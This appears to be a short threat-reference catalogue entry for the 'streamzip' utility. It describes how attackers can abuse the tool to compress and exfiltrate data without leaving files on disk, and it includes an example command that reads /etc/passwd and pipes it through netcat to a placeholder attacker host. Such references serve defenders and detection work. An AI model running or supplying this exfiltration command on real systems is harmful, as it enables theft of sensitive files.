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streamzip

File-less compression of data passed in through stdin.

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streamzip
streamzip

Sandbox: execFile · Timeout: 30s

Capabilities

collection.data
exfiltration.data

Examples

Copy and compress sensitive data locally: The following command reads file data and compresses the data for exfiltration

dd if=/etc/passwd | streamzip - stream | nc ATTACKER_IP PORT

Detection

TypeRule / Indicator
other No detection content at time of writing

Documentation

streamzip is a system utility that can be utilized to compress data from "stdin" and write the data directly to "stdout", no temporary files are created. The tool can be used by malicious actors to collect and exfiltrate sensitive data without leaving staged data archive artifacts on disk.

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